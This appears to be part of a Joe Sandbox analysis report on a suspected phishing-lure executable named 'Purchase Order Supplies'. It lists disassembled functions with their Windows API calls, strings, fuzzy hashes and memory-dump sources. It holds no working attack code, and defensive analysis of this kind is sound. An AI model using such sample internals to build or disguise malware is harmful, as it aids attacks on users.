Opcode Fuzzy Hash: 00b6dba6a5f2777c4524e9dabb615ca9ccc281f9798ada92cf24bdb0bc267ef1
Instruction Fuzzy Hash: 0A4109B5A00309AFDB54CF65C880BEABBB5FF09300F140469EA19DB341D770A941CFA1

Function 00CE57D7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CE57E7
InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 00CE581D

Strings

|, xrefs: 00CE580C

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: afeb04ecb01acd06915cd01ee097cd08cbb2503e714a6a058705cc191969ea80
Instruction ID: 38f1c261dcb04bbcf70da6b6c23580d5aa9440584d3131990d5bd50f8bf9ec11
Opcode Fuzzy Hash: afeb04ecb01acd06915cd01ee097cd08cbb2503e714a6a058705cc191969ea80
Instruction Fuzzy Hash: 17311C71C00119EBCF11AFA1DC95EEE7FB9FF19314F104019F816A6162DB319A4ADB60

Function 00CF9567 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00CF961B
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00CF9657

Strings

static, xrefs: 00CF95B7

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 6135131fd55eabf5403ed25b79b9ecd0e7d8a61137b1e9fe0f9691149f01df3d
Instruction ID: ac67d8e161d6f54aeb170b38759b029471a3f7e74a4104c8c7662a11830d5ea4
Opcode Fuzzy Hash: 6135131fd55eabf5403ed25b79b9ecd0e7d8a61137b1e9fe0f9691149f01df3d
Instruction Fuzzy Hash: A5318B31500608AEEF509F68DC80BFB77A9FF59764F108619FAA9C7190CA31AD81DB61

Function 00CD5B75 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CD5BE4
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00CD5C1F

Strings

0, xrefs: 00CD5BDD

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: daa1ab2269628ef3d6d2a2d5a74e1d3086deb5bd96e474a5161917cc72e5bf74
Instruction ID: bf8a4d0c54da406216a38c3686b4fee7e386f463a2e4ed2706da9425fbb5f14c
Opcode Fuzzy Hash: daa1ab2269628ef3d6d2a2d5a74e1d3086deb5bd96e474a5161917cc72e5bf74
Instruction Fuzzy Hash: 8C31B931610705AFEB25DF99C985BEEBBF5EF49350F18001AEA91962A0E7B09B44DF10

Function 00CE6B60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00CE6BDD

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

Strings

AUTOITCALLVARIABLE%d, xrefs: 00CE6BCF
, $, xrefs: 00CE6C1D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: 74e43ba97b93533f5a1bc8ba6fb9448b9902aca654c19048b445a11c5f36c2a4
Instruction ID: 2d19f4e27b215dd818b3f4427cbc6ca3ddc62f3d9d3801a9906786b791860959
Opcode Fuzzy Hash: 74e43ba97b93533f5a1bc8ba6fb9448b9902aca654c19048b445a11c5f36c2a4
Instruction Fuzzy Hash: 65218031600218AFCF10EFA9DC86EAE77B5EF54740F204465F545AB281DB70EE46EBA1

Function 00CF91DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00CF9269
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00CF9274

Strings

Combobox, xrefs: 00CF9236

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 6be4425274d5cdbcfb07fc1a8055c4e6fd82df18cdb75dfa112dd54c6fabba3e
Instruction ID: 72e41ba5d3d6815b8fdae14a480f0fd59f038e9089ae40466bb9c69a0430caeb
Opcode Fuzzy Hash: 6be4425274d5cdbcfb07fc1a8055c4e6fd82df18cdb75dfa112dd54c6fabba3e
Instruction Fuzzy Hash: DA11B27170020DBFEF61CE54DC80FBB376AEB893A4F104125FA2897290D631DD519BA1

Function 00CF970B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00CAC619: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00CAC657
Part of subcall function 00CAC619: GetStockObject.GDI32(00000011), ref: 00CAC66B
Part of subcall function 00CAC619: SendMessageW.USER32(00000000,00000030,00000000), ref: 00CAC675

GetWindowRect.USER32(00000000,?), ref: 00CF9775
GetSysColor.USER32(00000012), ref: 00CF978F

Strings

static, xrefs: 00CF9752

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: bea6d3e5df5528efb9295c1902089ee60def25476726484a1a1ffa5399407f06
Instruction ID: 4c34358da43f1249d0bca4e8407f17c407330e3ae46f5315cfb02a1ab36e639a
Opcode Fuzzy Hash: bea6d3e5df5528efb9295c1902089ee60def25476726484a1a1ffa5399407f06
Instruction Fuzzy Hash: 4D112676520209AFDF04EFB8C845EFA7BB8EB08314F004629FA56E3250E735E851DB60

Function 00CF9424 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00CF94A6
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00CF94B5

Strings

edit, xrefs: 00CF948A

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 5f2f0603cd9a2ac48ca6b5f5a2dc7c4d5a3ba5a872c2983d67cb506e388cb4af
Instruction ID: 2813af85afb775f2fcd9adb37171812495349567415a28648080896a1412fdd8
Opcode Fuzzy Hash: 5f2f0603cd9a2ac48ca6b5f5a2dc7c4d5a3ba5a872c2983d67cb506e388cb4af
Instruction Fuzzy Hash: 84115B72500208AEEF508E649C80FFB3B6AEB25378F104724FA75931E0C771DC52AB62

Function 00CD5C80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CD5CF3
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00CD5D12

Strings

0, xrefs: 00CD5CEC

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: ce64e0aed953db064d122df054885f631abc51fd9a871e5ebf31a61c2068da6d
Instruction ID: e964b67003fc94fbdfd121d465bb74615889c2fd7695f02308d7efd7e4a08318
Opcode Fuzzy Hash: ce64e0aed953db064d122df054885f631abc51fd9a871e5ebf31a61c2068da6d
Instruction Fuzzy Hash: 25119371D11628ABDB20DB58D948B9A77FA9B4A344F180013EE51EB390D7709E05C7A1

Function 00CE53F6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00CE544C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00CE5475

Strings

<local>, xrefs: 00CE543D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: ebc84f666c0c0b2fb29a714f4bb79397fe6f8cf2ad1c56de6d3c6787d7c85351
Instruction ID: 8e36b6add628ab6558524179fe7a6629a8afd023b494f17b73066268bcc382d6
Opcode Fuzzy Hash: ebc84f666c0c0b2fb29a714f4bb79397fe6f8cf2ad1c56de6d3c6787d7c85351
Instruction Fuzzy Hash: 3411A370541AA1BADB158F538C84EFBFB69FF1275AF10812AF55596080E7705A80D6F0

Function 00CEACD3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(00000000), ref: 00CEACF5
htons.WS2_32(00000000), ref: 00CEAD32

Strings

255.255.255.255, xrefs: 00CEAD0D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: htonsinet_addr
String ID: 255.255.255.255
API String ID: 3832099526-2422070025
Opcode ID: 0b593033491f9caeee2b2cc9cbbc3f44505e97ad8cade32ae56d071342f9b73b
Instruction ID: 8d8bdd1b20df6984e6c730a9d3aeb2ad9912f1477fe022b93e3cd13c774f994e
Opcode Fuzzy Hash: 0b593033491f9caeee2b2cc9cbbc3f44505e97ad8cade32ae56d071342f9b73b
Instruction Fuzzy Hash: BE01C034200245AFCB109FA5CC46FA9B365EF04720F10852AF5169B3D1DB71F905C765

Function 00CCC577 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00CCC5E5

Strings

ListBox, xrefs: 00CCC5AF
ComboBox, xrefs: 00CCC581

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend_memmove
String ID: ComboBox$ListBox
API String ID: 1456604079-1403004172
Opcode ID: 592cc21bfaa202b1c4c35b61732d7f57a5ff82dc107b00095ae69597c8032189
Instruction ID: ec0a061749fef2f177991244bdb15dd49e0ea76be6199f9e5506d6348ec626c4
Opcode Fuzzy Hash: 592cc21bfaa202b1c4c35b61732d7f57a5ff82dc107b00095ae69597c8032189
Instruction Fuzzy Hash: B001B571641218ABCB04EB64CC92DFE7369AB463507140619F432E72D1DF306908A760

Function 00CDC4D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CDC4EF
__fread_nolock.LIBCMT ref: 00CDC504

Strings

EA06, xrefs: 00CDC532

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: d7654bcad7d7a3a089c3a798eb9b25b9835d7be20c8a41de32f22e0221aaa833
Instruction ID: 6ee9126ffc10eb8bcc7ae217c254a16c94a30413ac7aadbd6766670b3c4468a3
Opcode Fuzzy Hash: d7654bcad7d7a3a089c3a798eb9b25b9835d7be20c8a41de32f22e0221aaa833
Instruction Fuzzy Hash: 9401B572904258BEDB28D7A8C856EFE7BF89B15711F00415AE193D6281E5B4A708DB60

Function 00CCC473 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

SendMessageW.USER32(?,00000180,00000000,?), ref: 00CCC4E1

Strings

ListBox, xrefs: 00CCC4AB
ComboBox, xrefs: 00CCC47D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend_memmove
String ID: ComboBox$ListBox
API String ID: 1456604079-1403004172
Opcode ID: 021a7f083e64c132d62b43ad8a85b9794eb88bffb5e8a07c6a777eea344d7af7
Instruction ID: 66cf54124ca104eb6165bd08bbc6080d0008387048b363546669574228edf1b2
Opcode Fuzzy Hash: 021a7f083e64c132d62b43ad8a85b9794eb88bffb5e8a07c6a777eea344d7af7
Instruction Fuzzy Hash: 0B018F716411086BCB09EBA4C9A2FFF73A99B05340F144019F902E32D1DA545E09A7B1

Function 00CCC4F6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

SendMessageW.USER32(?,00000182,?,00000000), ref: 00CCC562

Strings

ListBox, xrefs: 00CCC52E
ComboBox, xrefs: 00CCC500

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend_memmove
String ID: ComboBox$ListBox
API String ID: 1456604079-1403004172
Opcode ID: ed7532c627e6c8cada44fac9195888f937615ea086d30eb8d10dc5c571c7ca30
Instruction ID: f7fd31d9d69dcb07cb98c7ad2a51dd160cec0f38e87c9be83ef8bd72bd165191
Opcode Fuzzy Hash: ed7532c627e6c8cada44fac9195888f937615ea086d30eb8d10dc5c571c7ca30
Instruction Fuzzy Hash: 5201AD71A411086BCB05EBA4C992FFF73A99B05741F140019F807E3291DA54AF09B3B1

Function 00CD804C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00CD806A
_wcscmp.LIBCMT ref: 00CD807C

Strings

#32770, xrefs: 00CD8076

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: ba5209efc8ad40664e6bb40c341e9afb3dd45ed5e8678157f15e5dd71a702f12
Instruction ID: 0ace7323974bd8709aa8ee45fc06503bc9e453ac4190d11c9dfd23e6d9f3260c
Opcode Fuzzy Hash: ba5209efc8ad40664e6bb40c341e9afb3dd45ed5e8678157f15e5dd71a702f12
Instruction Fuzzy Hash: 23E0D83360032927D720EBA99C0AED7FBBCEB517A4F000026F924D3141DB70AA4587E5

Function 00CCB35D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00CCB36B

Part of subcall function 00CB2011: _doexit.LIBCMT ref: 00CB201B

Strings

AutoIt, xrefs: 00CCB35F
Error allocating memory., xrefs: 00CCB364

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: a1bd44781ab7d3dbaa8dd812f8361d5578c5d615fa09b8c8447b9f172dc3375e
Instruction ID: 6a62799fb7c57f493fed795653f34449993e4d43cf9290688209f06834bd3218
Opcode Fuzzy Hash: a1bd44781ab7d3dbaa8dd812f8361d5578c5d615fa09b8c8447b9f172dc3375e
Instruction Fuzzy Hash: FBD012322C535837D61972987C0BFD976884F15B52F544015FF48951D28AD5958052A9

Function 00CF84C9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00CF84DF
PostMessageW.USER32(00000000), ref: 00CF84E6

Part of subcall function 00CD8355: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00CD83CD

Strings

Shell_TrayWnd, xrefs: 00CF84D8

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: ee42f44de7db7acfb3bfbdcd4a2f402678f3738e686c3748cf8ae593a17e05be
Instruction ID: a105218f020cf9ee33ccf68f665c62f83d02f6a7719532b0839805aef535b314
Opcode Fuzzy Hash: ee42f44de7db7acfb3bfbdcd4a2f402678f3738e686c3748cf8ae593a17e05be
Instruction Fuzzy Hash: 2FD022323803247BE721A330AC0FFC77605AB18B00F000829B30AEA3D0CEE0B804C230

Function 00CF8495 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs
